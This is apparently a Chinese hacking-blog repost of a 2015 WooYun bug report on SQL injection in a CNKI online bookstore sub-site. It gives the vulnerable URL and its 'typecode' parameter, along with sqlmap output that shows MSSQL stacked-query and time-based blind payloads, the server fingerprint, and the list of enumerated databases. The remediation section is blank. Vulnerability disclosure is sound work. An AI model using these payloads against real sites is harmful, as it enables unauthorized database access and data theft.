记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

中国知网某分站SQL注入

2015-04-04 03:20

中国知网数字出版超市



http://mall.cnki.net/reference/books.aspx?typecode=rc0001



code 区域
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:

---

Place: GET

Parameter: typecode

Type: stacked queries

Title: Microsoft SQL Server/Sybase stacked queries

Payload: typecode=rc0001'; WAITFOR DELAY '0:0:5'--



Type: AND/OR time-based blind

Title: Microsoft SQL Server/Sybase time-based blind

Payload: typecode=rc0001' WAITFOR DELAY '0:0:5'--

---

[15:36:05] [INFO] the back-end DBMS is Microsoft SQL Server

web server operating system: Windows 2008 R2 or 7

web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727

back-end DBMS: Microsoft SQL Server 2008





code 区域
available databases [8]:

[*] Cnki_DB

[*] CnkiReadbak

[*] master

[*] model

[*] msdb

[*] ReportServer

[*] ReportServerTempDB

[*] tempdb







数据库跑出来太慢了!汗...



漏洞证明:

修复方案:

知识来源: www.wooyun.org/bugs/wooyun-2015-096983

阅读:113816 | 评论:0 | 标签:注入

想收藏或者和大家分享这篇好文章→复制链接地址

“中国知网某分站SQL注入”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

九层之台,起于累土;黑客之术,始于阅读

推广

工具

标签云